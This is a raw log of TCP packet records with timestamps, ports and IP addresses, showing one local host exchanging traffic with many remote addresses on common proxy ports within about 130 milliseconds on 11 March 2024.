Mar 11, 2024 16:42:19.249283075 CET	80	49893	50.223.239.166	192.168.2.11
Mar 11, 2024 16:42:19.249330044 CET	50819	80	192.168.2.11	188.40.44.95
Mar 11, 2024 16:42:19.249542952 CET	15673	50389	198.23.229.203	192.168.2.11
Mar 11, 2024 16:42:19.250354052 CET	9002	49830	220.248.70.237	192.168.2.11
Mar 11, 2024 16:42:19.250368118 CET	9002	49830	220.248.70.237	192.168.2.11
Mar 11, 2024 16:42:19.250441074 CET	50820	15673	192.168.2.11	198.23.229.203
Mar 11, 2024 16:42:19.250442028 CET	49830	9002	192.168.2.11	220.248.70.237
Mar 11, 2024 16:42:19.250801086 CET	15864	50532	192.252.214.20	192.168.2.11
Mar 11, 2024 16:42:19.250824928 CET	49830	9002	192.168.2.11	220.248.70.237
Mar 11, 2024 16:42:19.250988007 CET	50114	80	192.168.2.11	50.145.6.36
Mar 11, 2024 16:42:19.251008987 CET	49924	9510	192.168.2.11	92.247.12.136
Mar 11, 2024 16:42:19.251010895 CET	49923	3128	192.168.2.11	178.158.166.161
Mar 11, 2024 16:42:19.251015902 CET	49929	58740	192.168.2.11	162.214.197.102
Mar 11, 2024 16:42:19.251086950 CET	49932	8888	192.168.2.11	47.254.90.125
Mar 11, 2024 16:42:19.251087904 CET	49717	9375	192.168.2.11	92.204.134.38
Mar 11, 2024 16:42:19.251111984 CET	50126	3129	192.168.2.11	45.134.80.222
Mar 11, 2024 16:42:19.251849890 CET	50821	4985	192.168.2.11	82.223.121.72
Mar 11, 2024 16:42:19.253633976 CET	5000	50073	49.228.131.169	192.168.2.11
Mar 11, 2024 16:42:19.254374981 CET	80	50398	36.92.193.189	192.168.2.11
Mar 11, 2024 16:42:19.254452944 CET	50398	80	192.168.2.11	36.92.193.189
Mar 11, 2024 16:42:19.254489899 CET	16691	50500	92.204.136.149	192.168.2.11
Mar 11, 2024 16:42:19.254723072 CET	50398	80	192.168.2.11	36.92.193.189
Mar 11, 2024 16:42:19.255496979 CET	80	49889	50.174.145.11	192.168.2.11
Mar 11, 2024 16:42:19.256078005 CET	4145	49808	184.181.217.194	192.168.2.11
Mar 11, 2024 16:42:19.256211042 CET	4145	50539	199.102.107.145	192.168.2.11
Mar 11, 2024 16:42:19.256242990 CET	49808	4145	192.168.2.11	184.181.217.194
Mar 11, 2024 16:42:19.256475925 CET	49808	4145	192.168.2.11	184.181.217.194
Mar 11, 2024 16:42:19.256640911 CET	50539	4145	192.168.2.11	199.102.107.145
Mar 11, 2024 16:42:19.256730080 CET	50539	4145	192.168.2.11	199.102.107.145
Mar 11, 2024 16:42:19.257216930 CET	18067	49949	72.10.164.178	192.168.2.11
Mar 11, 2024 16:42:19.257477045 CET	26353	49950	67.43.227.228	192.168.2.11
Mar 11, 2024 16:42:19.257714033 CET	5000	50073	49.228.131.169	192.168.2.11
Mar 11, 2024 16:42:19.257770061 CET	30000	50200	161.97.74.176	192.168.2.11
Mar 11, 2024 16:42:19.257786989 CET	5000	50073	49.228.131.169	192.168.2.11
Mar 11, 2024 16:42:19.257863998 CET	50073	5000	192.168.2.11	49.228.131.169
Mar 11, 2024 16:42:19.258016109 CET	8080	50379	103.190.54.141	192.168.2.11
Mar 11, 2024 16:42:19.258086920 CET	50379	8080	192.168.2.11	103.190.54.141
Mar 11, 2024 16:42:19.258101940 CET	50073	5000	192.168.2.11	49.228.131.169
Mar 11, 2024 16:42:19.259269953 CET	80	50476	50.217.226.45	192.168.2.11
Mar 11, 2024 16:42:19.259305000 CET	50379	8080	192.168.2.11	103.190.54.141
Mar 11, 2024 16:42:19.260654926 CET	80	50462	104.16.105.142	192.168.2.11
Mar 11, 2024 16:42:19.260929108 CET	80	50462	104.16.105.142	192.168.2.11
Mar 11, 2024 16:42:19.261006117 CET	80	50462	104.16.105.142	192.168.2.11
Mar 11, 2024 16:42:19.261065960 CET	50462	80	192.168.2.11	104.16.105.142
Mar 11, 2024 16:42:19.261260986 CET	50462	80	192.168.2.11	104.16.105.142
Mar 11, 2024 16:42:19.261750937 CET	30000	50200	161.97.74.176	192.168.2.11
Mar 11, 2024 16:42:19.261856079 CET	30000	50200	161.97.74.176	192.168.2.11
Mar 11, 2024 16:42:19.262644053 CET	3128	50499	159.203.61.169	192.168.2.11
Mar 11, 2024 16:42:19.262711048 CET	50200	30000	192.168.2.11	161.97.74.176
Mar 11, 2024 16:42:19.262749910 CET	50499	3128	192.168.2.11	159.203.61.169
Mar 11, 2024 16:42:19.262797117 CET	50200	30000	192.168.2.11	161.97.74.176
Mar 11, 2024 16:42:19.263092041 CET	4153	50445	179.109.193.228	192.168.2.11
Mar 11, 2024 16:42:19.263132095 CET	50499	3128	192.168.2.11	159.203.61.169
Mar 11, 2024 16:42:19.263603926 CET	4145	50399	103.66.233.225	192.168.2.11
Mar 11, 2024 16:42:19.265607119 CET	49926	80	192.168.2.11	118.222.104.135
Mar 11, 2024 16:42:19.265607119 CET	50104	17893	192.168.2.11	72.10.160.90
Mar 11, 2024 16:42:19.265665054 CET	80	49933	50.168.163.166	192.168.2.11
Mar 11, 2024 16:42:19.266623974 CET	49937	12446	192.168.2.11	148.72.209.174
Mar 11, 2024 16:42:19.266644001 CET	49928	8080	192.168.2.11	57.128.163.242
Mar 11, 2024 16:42:19.266644955 CET	49925	45883	192.168.2.11	104.238.111.107
Mar 11, 2024 16:42:19.266644955 CET	50098	7853	192.168.2.11	67.43.228.253
Mar 11, 2024 16:42:19.266882896 CET	1080	50249	54.212.22.168	192.168.2.11
Mar 11, 2024 16:42:19.268378019 CET	3128	50422	188.56.223.85	192.168.2.11
Mar 11, 2024 16:42:19.268717051 CET	80	50343	104.25.167.88	192.168.2.11
Mar 11, 2024 16:42:19.269164085 CET	80	50471	104.24.35.152	192.168.2.11
Mar 11, 2024 16:42:19.269232988 CET	80	50471	104.24.35.152	192.168.2.11
Mar 11, 2024 16:42:19.269459009 CET	5123	50512	72.10.160.92	192.168.2.11
Mar 11, 2024 16:42:19.269521952 CET	80	50471	104.24.35.152	192.168.2.11
Mar 11, 2024 16:42:19.269618034 CET	50471	80	192.168.2.11	104.24.35.152
Mar 11, 2024 16:42:19.269686937 CET	50471	80	192.168.2.11	104.24.35.152
Mar 11, 2024 16:42:19.269866943 CET	3128	50543	23.152.40.14	192.168.2.11
Mar 11, 2024 16:42:19.270050049 CET	50543	3128	192.168.2.11	23.152.40.14
Mar 11, 2024 16:42:19.270232916 CET	80	50655	104.16.108.42	192.168.2.11
Mar 11, 2024 16:42:19.270243883 CET	50249	1080	192.168.2.11	54.212.22.168
Mar 11, 2024 16:42:19.270539045 CET	50543	3128	192.168.2.11	23.152.40.14
Mar 11, 2024 16:42:19.270687103 CET	50655	80	192.168.2.11	104.16.108.42
Mar 11, 2024 16:42:19.270823956 CET	50655	80	192.168.2.11	104.16.108.42
Mar 11, 2024 16:42:19.271177053 CET	34560	50549	108.181.132.117	192.168.2.11
Mar 11, 2024 16:42:19.272489071 CET	24397	50534	72.10.160.90	192.168.2.11
Mar 11, 2024 16:42:19.273303986 CET	12334	50183	194.4.50.62	192.168.2.11
Mar 11, 2024 16:42:19.273561954 CET	80	50480	3.127.62.252	192.168.2.11
Mar 11, 2024 16:42:19.273833990 CET	12334	50550	194.4.50.62	192.168.2.11
Mar 11, 2024 16:42:19.273849010 CET	55994	50555	38.127.172.219	192.168.2.11
Mar 11, 2024 16:42:19.273931980 CET	50550	12334	192.168.2.11	194.4.50.62
Mar 11, 2024 16:42:19.273960114 CET	50480	80	192.168.2.11	3.127.62.252
Mar 11, 2024 16:42:19.274072886 CET	50550	12334	192.168.2.11	194.4.50.62
Mar 11, 2024 16:42:19.274732113 CET	50822	8089	192.168.2.11	111.225.153.135
Mar 11, 2024 16:42:19.274740934 CET	50480	80	192.168.2.11	3.127.62.252
Mar 11, 2024 16:42:19.275306940 CET	5836	50459	185.158.248.95	192.168.2.11
Mar 11, 2024 16:42:19.275794029 CET	50823	38586	192.168.2.11	160.153.245.187
Mar 11, 2024 16:42:19.276746035 CET	51535	50592	162.241.66.135	192.168.2.11
Mar 11, 2024 16:42:19.277522087 CET	50825	32650	192.168.2.11	103.216.51.36
Mar 11, 2024 16:42:19.277522087 CET	50824	999	192.168.2.11	38.56.23.33
Mar 11, 2024 16:42:19.277578115 CET	50826	18129	192.168.2.11	67.43.236.20
Mar 11, 2024 16:42:19.281424046 CET	46783	50574	162.241.158.204	192.168.2.11
Mar 11, 2024 16:42:19.282012939 CET	3128	50569	3.212.148.199	192.168.2.11
Mar 11, 2024 16:42:19.282193899 CET	50569	3128	192.168.2.11	3.212.148.199
Mar 11, 2024 16:42:19.282236099 CET	49935	80	192.168.2.11	14.142.36.210
Mar 11, 2024 16:42:19.282249928 CET	49753	30951	192.168.2.11	72.10.160.90
Mar 11, 2024 16:42:19.282259941 CET	50131	14921	192.168.2.11	192.252.211.197
Mar 11, 2024 16:42:19.282259941 CET	49752	40351	192.168.2.11	51.222.241.157
Mar 11, 2024 16:42:19.282269955 CET	49824	3128	192.168.2.11	15.236.106.236
Mar 11, 2024 16:42:19.282273054 CET	49984	1080	192.168.2.11	202.142.167.210
Mar 11, 2024 16:42:19.282273054 CET	49938	18080	192.168.2.11	8.142.132.204
Mar 11, 2024 16:42:19.282273054 CET	49985	45639	192.168.2.11	103.212.93.241
Mar 11, 2024 16:42:19.282280922 CET	50115	24279	192.168.2.11	67.43.228.251
Mar 11, 2024 16:42:19.282280922 CET	49936	8080	192.168.2.11	176.213.141.107
Mar 11, 2024 16:42:19.282300949 CET	49942	1981	192.168.2.11	41.65.236.56
Mar 11, 2024 16:42:19.282303095 CET	49940	8080	192.168.2.11	103.115.242.192
Mar 11, 2024 16:42:19.282305956 CET	49948	999	192.168.2.11	190.113.40.202
Mar 11, 2024 16:42:19.282305956 CET	49945	39323	192.168.2.11	207.180.234.220
Mar 11, 2024 16:42:19.282306910 CET	49939	8901	192.168.2.11	94.124.16.218
Mar 11, 2024 16:42:19.282305956 CET	49944	8080	192.168.2.11	38.253.232.2
Mar 11, 2024 16:42:19.284571886 CET	6001	50380	20.106.146.212	192.168.2.11
Mar 11, 2024 16:42:19.286328077 CET	42624	50638	162.214.164.200	192.168.2.11
Mar 11, 2024 16:42:19.286401987 CET	50638	42624	192.168.2.11	162.214.164.200
Mar 11, 2024 16:42:19.286945105 CET	5529	50561	72.10.164.178	192.168.2.11
Mar 11, 2024 16:42:19.288081884 CET	4145	50502	174.64.199.79	192.168.2.11
Mar 11, 2024 16:42:19.288163900 CET	50502	4145	192.168.2.11	174.64.199.79
Mar 11, 2024 16:42:19.288295031 CET	17145	49964	67.43.236.18	192.168.2.11
Mar 11, 2024 16:42:19.289469957 CET	8080	50478	66.225.246.238	192.168.2.11
Mar 11, 2024 16:42:19.289570093 CET	50478	8080	192.168.2.11	66.225.246.238
Mar 11, 2024 16:42:19.291155100 CET	10003	49994	147.75.34.86	192.168.2.11
Mar 11, 2024 16:42:19.291188002 CET	8089	50191	114.232.109.43	192.168.2.11
Mar 11, 2024 16:42:19.291625023 CET	8081	50202	193.239.56.84	192.168.2.11
Mar 11, 2024 16:42:19.291666031 CET	8081	50202	193.239.56.84	192.168.2.11
Mar 11, 2024 16:42:19.291719913 CET	5432	50396	45.196.151.84	192.168.2.11
Mar 11, 2024 16:42:19.293267965 CET	5432	50396	45.196.151.84	192.168.2.11
Mar 11, 2024 16:42:19.293281078 CET	7777	49882	123.30.154.171	192.168.2.11
Mar 11, 2024 16:42:19.293488026 CET	5432	50396	45.196.151.84	192.168.2.11
Mar 11, 2024 16:42:19.294090033 CET	50396	5432	192.168.2.11	45.196.151.84
Mar 11, 2024 16:42:19.297533989 CET	60651	50601	162.241.6.97	192.168.2.11
Mar 11, 2024 16:42:19.297861099 CET	50124	10363	192.168.2.11	67.43.236.20
Mar 11, 2024 16:42:19.297875881 CET	50121	1431	192.168.2.11	72.10.164.178
Mar 11, 2024 16:42:19.297890902 CET	49941	80	192.168.2.11	119.81.189.194
Mar 11, 2024 16:42:19.298012018 CET	50147	4145	192.168.2.11	184.170.249.65
Mar 11, 2024 16:42:19.302483082 CET	4145	50125	190.153.121.2	192.168.2.11
Mar 11, 2024 16:42:19.302592993 CET	4145	50125	190.153.121.2	192.168.2.11
Mar 11, 2024 16:42:19.303606987 CET	50638	42624	192.168.2.11	162.214.164.200
Mar 11, 2024 16:42:19.303607941 CET	50827	3629	192.168.2.11	177.86.64.1
Mar 11, 2024 16:42:19.303723097 CET	1080	50146	138.36.150.16	192.168.2.11
Mar 11, 2024 16:42:19.303834915 CET	50146	1080	192.168.2.11	138.36.150.16
Mar 11, 2024 16:42:19.304239035 CET	50828	4145	192.168.2.11	72.210.221.197
Mar 11, 2024 16:42:19.304408073 CET	4145	50557	190.153.121.2	192.168.2.11
Mar 11, 2024 16:42:19.304644108 CET	1080	50146	138.36.150.16	192.168.2.11
Mar 11, 2024 16:42:19.304681063 CET	50557	4145	192.168.2.11	190.153.121.2
Mar 11, 2024 16:42:19.306451082 CET	50829	8080	192.168.2.11	183.89.79.25
Mar 11, 2024 16:42:19.308599949 CET	80	50352	172.67.231.3	192.168.2.11
Mar 11, 2024 16:42:19.309073925 CET	50502	4145	192.168.2.11	174.64.199.79
Mar 11, 2024 16:42:19.309601068 CET	80	50486	104.27.83.183	192.168.2.11
Mar 11, 2024 16:42:19.309631109 CET	50146	1080	192.168.2.11	138.36.150.16
Mar 11, 2024 16:42:19.309658051 CET	80	50486	104.27.83.183	192.168.2.11
Mar 11, 2024 16:42:19.309741020 CET	50396	5432	192.168.2.11	45.196.151.84
Mar 11, 2024 16:42:19.309906006 CET	80	50256	82.64.77.30	192.168.2.11
Mar 11, 2024 16:42:19.310035944 CET	80	50486	104.27.83.183	192.168.2.11
Mar 11, 2024 16:42:19.310116053 CET	50831	1080	192.168.2.11	138.36.150.16
Mar 11, 2024 16:42:19.310127020 CET	8888	50255	3.25.234.175	192.168.2.11
Mar 11, 2024 16:42:19.310147047 CET	50486	80	192.168.2.11	104.27.83.183
Mar 11, 2024 16:42:19.310290098 CET	50557	4145	192.168.2.11	190.153.121.2
Mar 11, 2024 16:42:19.310755968 CET	80	50376	172.67.3.98	192.168.2.11
Mar 11, 2024 16:42:19.310822010 CET	50486	80	192.168.2.11	104.27.83.183
Mar 11, 2024 16:42:19.311240911 CET	80	50381	104.24.193.186	192.168.2.11
Mar 11, 2024 16:42:19.311430931 CET	50832	443	192.168.2.11	222.255.238.159
Mar 11, 2024 16:42:19.311458111 CET	443	50832	222.255.238.159	192.168.2.11
Mar 11, 2024 16:42:19.311563969 CET	50832	443	192.168.2.11	222.255.238.159
Mar 11, 2024 16:42:19.311914921 CET	50832	443	192.168.2.11	222.255.238.159
Mar 11, 2024 16:42:19.311930895 CET	443	50832	222.255.238.159	192.168.2.11
Mar 11, 2024 16:42:19.313486099 CET	4153	50469	177.72.82.47	192.168.2.11
Mar 11, 2024 16:42:19.313497066 CET	50140	20037	192.168.2.11	64.44.139.12
Mar 11, 2024 16:42:19.313519955 CET	49954	49858	192.168.2.11	162.241.50.179
Mar 11, 2024 16:42:19.313523054 CET	49952	3129	192.168.2.11	103.76.253.66
Mar 11, 2024 16:42:19.313524008 CET	49956	3128	192.168.2.11	178.245.145.234
Mar 11, 2024 16:42:19.313528061 CET	49775	80	192.168.2.11	50.239.72.18
Mar 11, 2024 16:42:19.313529015 CET	49953	8080	192.168.2.11	38.156.73.54
Mar 11, 2024 16:42:19.313529015 CET	49957	80	192.168.2.11	218.255.187.60
Mar 11, 2024 16:42:19.313532114 CET	50167	41274	192.168.2.11	162.241.158.204
Mar 11, 2024 16:42:19.313532114 CET	49955	8080	192.168.2.11	137.59.48.20
Mar 11, 2024 16:42:19.313528061 CET	49959	999	192.168.2.11	170.239.205.1
Mar 11, 2024 16:42:19.313532114 CET	49958	48117	192.168.2.11	162.215.219.157
Mar 11, 2024 16:42:19.314367056 CET	8880	50481	95.66.138.21	192.168.2.11
Mar 11, 2024 16:42:19.314867020 CET	80	50388	104.25.81.82	192.168.2.11
Mar 11, 2024 16:42:19.315021038 CET	50481	8880	192.168.2.11	95.66.138.21
Mar 11, 2024 16:42:19.315372944 CET	50481	8880	192.168.2.11	95.66.138.21
Mar 11, 2024 16:42:19.315419912 CET	8197	50260	58.234.116.197	192.168.2.11
Mar 11, 2024 16:42:19.315460920 CET	8197	50260	58.234.116.197	192.168.2.11
Mar 11, 2024 16:42:19.315721035 CET	50260	8197	192.168.2.11	58.234.116.197
Mar 11, 2024 16:42:19.315886974 CET	50260	8197	192.168.2.11	58.234.116.197
Mar 11, 2024 16:42:19.316066980 CET	8080	50478	66.225.246.238	192.168.2.11
Mar 11, 2024 16:42:19.316363096 CET	50833	8197	192.168.2.11	58.234.116.197
Mar 11, 2024 16:42:19.317104101 CET	80	50677	172.67.181.97	192.168.2.11
Mar 11, 2024 16:42:19.317256927 CET	50677	80	192.168.2.11	172.67.181.97
Mar 11, 2024 16:42:19.317444086 CET	50677	80	192.168.2.11	172.67.181.97
Mar 11, 2024 16:42:19.319794893 CET	25639	49982	67.43.227.226	192.168.2.11
Mar 11, 2024 16:42:19.322098970 CET	80	50686	104.25.42.178	192.168.2.11
Mar 11, 2024 16:42:19.322185993 CET	50686	80	192.168.2.11	104.25.42.178
Mar 11, 2024 16:42:19.322375059 CET	8888	50150	36.134.91.82	192.168.2.11
Mar 11, 2024 16:42:19.322598934 CET	50686	80	192.168.2.11	104.25.42.178
Mar 11, 2024 16:42:19.322598934 CET	50150	8888	192.168.2.11	36.134.91.82
Mar 11, 2024 16:42:19.322772980 CET	50150	8888	192.168.2.11	36.134.91.82
Mar 11, 2024 16:42:19.326579094 CET	80	50694	104.19.225.70	192.168.2.11
Mar 11, 2024 16:42:19.326666117 CET	50694	80	192.168.2.11	104.19.225.70
Mar 11, 2024 16:42:19.327143908 CET	50694	80	192.168.2.11	104.19.225.70
Mar 11, 2024 16:42:19.327402115 CET	50569	3128	192.168.2.11	3.212.148.199
Mar 11, 2024 16:42:19.327472925 CET	50478	8080	192.168.2.11	66.225.246.238
Mar 11, 2024 16:42:19.328090906 CET	64768	49896	173.212.250.16	192.168.2.11
Mar 11, 2024 16:42:19.328304052 CET	8888	50080	93.171.220.229	192.168.2.11
Mar 11, 2024 16:42:19.328499079 CET	50080	8888	192.168.2.11	93.171.220.229
Mar 11, 2024 16:42:19.328499079 CET	50080	8888	192.168.2.11	93.171.220.229
Mar 11, 2024 16:42:19.328517914 CET	8888	50080	93.171.220.229	192.168.2.11
Mar 11, 2024 16:42:19.328924894 CET	50834	8888	192.168.2.11	93.171.220.229
Mar 11, 2024 16:42:19.329124928 CET	50158	21777	192.168.2.11	51.222.84.118
Mar 11, 2024 16:42:19.329124928 CET	49768	4495	192.168.2.11	67.43.228.252
Mar 11, 2024 16:42:19.329139948 CET	49962	80	192.168.2.11	144.24.122.46
Mar 11, 2024 16:42:19.329170942 CET	49970	59243	192.168.2.11	159.223.71.71
Mar 11, 2024 16:42:19.329175949 CET	49966	1976	192.168.2.11	41.128.148.76
Mar 11, 2024 16:42:19.329231024 CET	49960	55198	192.168.2.11	51.89.173.40
Mar 11, 2024 16:42:19.329236031 CET	50155	59268	192.168.2.11	67.213.212.50
Mar 11, 2024 16:42:19.329377890 CET	50830	8081	192.168.2.11	193.239.56.84
Mar 11, 2024 16:42:19.335715055 CET	3129	49800	115.248.66.131	192.168.2.11
Mar 11, 2024 16:42:19.337418079 CET	10801	50650	72.10.164.178	192.168.2.11
Mar 11, 2024 16:42:19.338576078 CET	59559	50461	192.163.200.80	192.168.2.11
Mar 11, 2024 16:42:19.339770079 CET	8888	50255	3.25.234.175	192.168.2.11
Mar 11, 2024 16:42:19.341036081 CET	80	50023	121.159.146.251	192.168.2.11
Mar 11, 2024 16:42:19.343388081 CET	50255	8888	192.168.2.11	3.25.234.175
Mar 11, 2024 16:42:19.344259977 CET	50835	8080	192.168.2.11	66.225.246.238
Mar 11, 2024 16:42:19.344259977 CET	50836	10003	192.168.2.11	147.75.34.86
Mar 11, 2024 16:42:19.344749928 CET	50119	80	192.168.2.11	104.20.123.164
Mar 11, 2024 16:42:19.344750881 CET	50040	8089	192.168.2.11	111.225.152.42
Mar 11, 2024 16:42:19.344753027 CET	50138	999	192.168.2.11	45.229.34.174
Mar 11, 2024 16:42:19.344767094 CET	49963	55109	192.168.2.11	161.97.163.52
Mar 11, 2024 16:42:19.344767094 CET	49967	3128	192.168.2.11	35.237.210.215
Mar 11, 2024 16:42:19.344767094 CET	49968	8888	192.168.2.11	51.15.242.202
Mar 11, 2024 16:42:19.344789028 CET	50221	4145	192.168.2.11	199.102.106.94
Mar 11, 2024 16:42:19.344789028 CET	49979	59820	192.168.2.11	107.180.88.173
Mar 11, 2024 16:42:19.344789982 CET	49976	51918	192.168.2.11	162.214.197.102
Mar 11, 2024 16:42:19.344789982 CET	49975	1488	192.168.2.11	85.94.24.29
Mar 11, 2024 16:42:19.344789982 CET	49972	8888	192.168.2.11	38.156.72.135
Mar 11, 2024 16:42:19.344793081 CET	50258	40536	192.168.2.11	162.214.225.223
Mar 11, 2024 16:42:19.344791889 CET	50175	13477	192.168.2.11	72.10.164.178
Mar 11, 2024 16:42:19.345014095 CET	80	50720	104.22.50.220	192.168.2.11
Mar 11, 2024 16:42:19.345129013 CET	50720	80	192.168.2.11	104.22.50.220
Mar 11, 2024 16:42:19.345669985 CET	50720	80	192.168.2.11	104.22.50.220
Mar 11, 2024 16:42:19.345868111 CET	29197	50663	72.10.160.90	192.168.2.11
Mar 11, 2024 16:42:19.349572897 CET	15303	50620	184.178.172.5	192.168.2.11
Mar 11, 2024 16:42:19.349692106 CET	50620	15303	192.168.2.11	184.178.172.5
Mar 11, 2024 16:42:19.350142002 CET	31679	49849	98.162.25.29	192.168.2.11
Mar 11, 2024 16:42:19.350183010 CET	50620	15303	192.168.2.11	184.178.172.5
Mar 11, 2024 16:42:19.350224972 CET	80	50219	8.222.239.209	192.168.2.11
Mar 11, 2024 16:42:19.350282907 CET	49849	31679	192.168.2.11	98.162.25.29
Mar 11, 2024 16:42:19.350464106 CET	49849	31679	192.168.2.11	98.162.25.29
Mar 11, 2024 16:42:19.350754976 CET	80	50731	172.67.127.188	192.168.2.11
Mar 11, 2024 16:42:19.350856066 CET	50731	80	192.168.2.11	172.67.127.188
Mar 11, 2024 16:42:19.351560116 CET	50837	80	192.168.2.11	8.222.239.209
Mar 11, 2024 16:42:19.351579905 CET	50731	80	192.168.2.11	172.67.127.188
Mar 11, 2024 16:42:19.352746010 CET	80	50528	152.32.132.220	192.168.2.11
Mar 11, 2024 16:42:19.352796078 CET	50838	1080	192.168.2.11	176.115.79.195
Mar 11, 2024 16:42:19.352809906 CET	80	50582	50.173.140.148	192.168.2.11
Mar 11, 2024 16:42:19.352879047 CET	50528	80	192.168.2.11	152.32.132.220
Mar 11, 2024 16:42:19.352940083 CET	80	50510	173.245.49.27	192.168.2.11
Mar 11, 2024 16:42:19.353030920 CET	80	50510	173.245.49.27	192.168.2.11
Mar 11, 2024 16:42:19.353312969 CET	50528	80	192.168.2.11	152.32.132.220
Mar 11, 2024 16:42:19.353744030 CET	50510	80	192.168.2.11	173.245.49.27
Mar 11, 2024 16:42:19.353960991 CET	80	50740	172.67.182.107	192.168.2.11
Mar 11, 2024 16:42:19.354079962 CET	50740	80	192.168.2.11	172.67.182.107
Mar 11, 2024 16:42:19.354347944 CET	50740	80	192.168.2.11	172.67.182.107
Mar 11, 2024 16:42:19.354372025 CET	51251	50523	49.12.126.53	192.168.2.11
Mar 11, 2024 16:42:19.354775906 CET	50523	51251	192.168.2.11	49.12.126.53
Mar 11, 2024 16:42:19.355114937 CET	80	50510	173.245.49.27	192.168.2.11
Mar 11, 2024 16:42:19.355139017 CET	50523	51251	192.168.2.11	49.12.126.53
Mar 11, 2024 16:42:19.355189085 CET	50510	80	192.168.2.11	173.245.49.27
Mar 11, 2024 16:42:19.355521917 CET	80	50590	50.222.245.41	192.168.2.11
Mar 11, 2024 16:42:19.355667114 CET	1080	50483	35.154.71.72	192.168.2.11
Mar 11, 2024 16:42:19.355767965 CET	50483	1080	192.168.2.11	35.154.71.72
Mar 11, 2024 16:42:19.356029987 CET	50483	1080	192.168.2.11	35.154.71.72
Mar 11, 2024 16:42:19.357758999 CET	80	50457	43.231.22.229	192.168.2.11
Mar 11, 2024 16:42:19.357786894 CET	50839	4145	192.168.2.11	174.77.111.197
Mar 11, 2024 16:42:19.357831955 CET	50457	80	192.168.2.11	43.231.22.229
Mar 11, 2024 16:42:19.358119965 CET	50457	80	192.168.2.11	43.231.22.229
Mar 11, 2024 16:42:19.360006094 CET	3129	49835	20.204.212.76	192.168.2.11
Mar 11, 2024 16:42:19.360244036 CET	3128	49910	194.182.187.78	192.168.2.11
Mar 11, 2024 16:42:19.360361099 CET	50095	31979	192.168.2.11	51.77.65.164
Mar 11, 2024 16:42:19.360361099 CET	49980	59870	192.168.2.11	37.187.77.58
Mar 11, 2024 16:42:19.360374928 CET	49777	28971	192.168.2.11	67.43.228.254
Mar 11, 2024 16:42:19.360392094 CET	50059	5678	192.168.2.11	202.165.47.49
Mar 11, 2024 16:42:19.360394001 CET	49981	38117	192.168.2.11	132.148.245.169
Mar 11, 2024 16:42:19.360395908 CET	49716	80	192.168.2.11	50.217.226.43
Mar 11, 2024 16:42:19.360445976 CET	49987	999	192.168.2.11	190.97.238.89
Mar 11, 2024 16:42:19.361911058 CET	54240	49796	200.25.254.193	192.168.2.11
Mar 11, 2024 16:42:19.362054110 CET	49796	54240	192.168.2.11	200.25.254.193
Mar 11, 2024 16:42:19.363435030 CET	50840	8090	192.168.2.11	89.230.92.9
Mar 11, 2024 16:42:19.363825083 CET	50841	3128	192.168.2.11	5.34.201.244
Mar 11, 2024 16:42:19.364866018 CET	3128	50011	178.128.148.69	192.168.2.11
Mar 11, 2024 16:42:19.364923954 CET	80	50437	172.67.14.237	192.168.2.11
Mar 11, 2024 16:42:19.365756035 CET	80	50439	185.238.228.240	192.168.2.11
Mar 11, 2024 16:42:19.365807056 CET	7777	50091	218.6.120.111	192.168.2.11
Mar 11, 2024 16:42:19.366583109 CET	44195	50293	162.19.7.56	192.168.2.11
Mar 11, 2024 16:42:19.370269060 CET	1081	50545	5.252.23.220	192.168.2.11
Mar 11, 2024 16:42:19.370354891 CET	50545	1081	192.168.2.11	5.252.23.220
Mar 11, 2024 16:42:19.370357037 CET	50842	53343	192.168.2.11	66.23.233.210
Mar 11, 2024 16:42:19.370920897 CET	8118	49983	182.140.244.163	192.168.2.11
Mar 11, 2024 16:42:19.370949984 CET	50545	1081	192.168.2.11	5.252.23.220
Mar 11, 2024 16:42:19.371038914 CET	49983	8118	192.168.2.11	182.140.244.163
Mar 11, 2024 16:42:19.371167898 CET	49983	8118	192.168.2.11	182.140.244.163
Mar 11, 2024 16:42:19.371489048 CET	50843	999	192.168.2.11	190.217.7.8
Mar 11, 2024 16:42:19.371491909 CET	50844	8080	192.168.2.11	187.228.145.138
Mar 11, 2024 16:42:19.371956110 CET	50845	8118	192.168.2.11	182.140.244.163
Mar 11, 2024 16:42:19.372025967 CET	64579	50724	162.214.121.173	192.168.2.11
Mar 11, 2024 16:42:19.372272015 CET	50724	64579	192.168.2.11	162.214.121.173
Mar 11, 2024 16:42:19.372519970 CET	50724	64579	192.168.2.11	162.214.121.173
Mar 11, 2024 16:42:19.372544050 CET	80	50563	31.43.179.160	192.168.2.11
Mar 11, 2024 16:42:19.372581959 CET	50846	80	192.168.2.11	104.16.241.204
Mar 11, 2024 16:42:19.372607946 CET	80	50563	31.43.179.160	192.168.2.11
Mar 11, 2024 16:42:19.373127937 CET	50563	80	192.168.2.11	31.43.179.160
Mar 11, 2024 16:42:19.373389006 CET	80	50563	31.43.179.160	192.168.2.11
Mar 11, 2024 16:42:19.373565912 CET	50563	80	192.168.2.11	31.43.179.160
Mar 11, 2024 16:42:19.374192953 CET	50847	26693	192.168.2.11	67.43.236.20
Mar 11, 2024 16:42:19.375519991 CET	27639	50586	185.45.194.176	192.168.2.11
Mar 11, 2024 16:42:19.375591040 CET	3128	50560	213.131.230.161	192.168.2.11
Mar 11, 2024 16:42:19.375760078 CET	80	50551	198.44.255.3	192.168.2.11
Mar 11, 2024 16:42:19.375992060 CET	49782	50605	192.168.2.11	51.81.89.146
Mar 11, 2024 16:42:19.375999928 CET	49986	16379	192.168.2.11	163.172.171.22
Mar 11, 2024 16:42:19.375999928 CET	49797	80	192.168.2.11	50.239.72.19
Mar 11, 2024 16:42:19.376000881 CET	50551	80	192.168.2.11	198.44.255.3
Mar 11, 2024 16:42:19.376000881 CET	49989	32650	192.168.2.11	103.176.116.171
Mar 11, 2024 16:42:19.376007080 CET	49988	23854	192.168.2.11	51.89.173.40
Mar 11, 2024 16:42:19.376028061 CET	49990	3128	192.168.2.11	125.99.106.250
Mar 11, 2024 16:42:19.376034975 CET	49995	60069	192.168.2.11	148.72.23.56
Mar 11, 2024 16:42:19.376034975 CET	50051	3129	192.168.2.11	20.219.177.85
Mar 11, 2024 16:42:19.376039982 CET	49991	5678	192.168.2.11	103.130.112.253
Mar 11, 2024 16:42:19.376039982 CET	49996	9091	192.168.2.11	120.37.121.209
Mar 11, 2024 16:42:19.376039982 CET	49997	80	192.168.2.11	20.187.77.5
Mar 11, 2024 16:42:19.376069069 CET	49998	8080	192.168.2.11	185.200.37.245
Mar 11, 2024 16:42:19.376097918 CET	49999	80	192.168.2.11	162.144.236.128
Mar 11, 2024 16:42:19.376627922 CET	80	50790	104.27.26.29	192.168.2.11
Mar 11, 2024 16:42:19.376759052 CET	50790	80	192.168.2.11	104.27.26.29
